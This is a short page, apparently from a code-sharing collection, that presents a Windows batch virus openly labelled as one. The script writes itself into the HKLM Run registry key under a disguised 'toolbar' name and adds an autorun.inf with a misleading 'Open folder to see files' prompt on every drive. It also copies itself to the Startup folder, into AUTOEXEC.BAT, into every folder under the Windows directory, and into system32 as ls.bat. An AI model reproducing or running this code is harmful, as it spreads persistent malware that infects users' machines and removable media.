Virus - Batch Code Bank

                @ echo off
rem ---------------------------------
rem Infect Reg Run Key
set valinf="rundll32_%random%_toolbar"
set reginf="hklm\Software\Microsoft\Windows\CurrentVersion\Run"
reg add %reginf% /v %valinf% /t "REG_SZ" /d %0 /f > nul
rem ---------------------------------
rem ---------------------------------
rem Infect All Drives
for %%E In (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (
copy /Y %0 %%E:\
echo [AutoRun] > %%E:\autorun.inf
echo open="%%E:\%0" >> %%E:\autorun.inf
echo action=Open folder to see files... >> %%E:\autorun.inf)
rem ---------------------------------
rem ---------------------------------
rem Infect Startup Folder
copy %0 "%userprofile%\Start Menu\Programs\Startup"
rem ---------------------------------
rem ---------------------------------
rem Infect Autoexec.bat
echo start "" %0>>%SystemDrive%\AUTOEXEC.BAT
rem ---------------------------------
rem ---------------------------------
rem Infect All Folders
Dir %SystemRoot% /s /b > PathHost
For /f %%a In (PathHost) Do Copy /y %0 %%a > Nul
Del /f /s /q PathHost > Nul
rem ---------------------------------
rem ---------------------------------
rem Infect "ls" Cmd
copy %0 %windir%\system32\ls.bat
rem ---------------------------------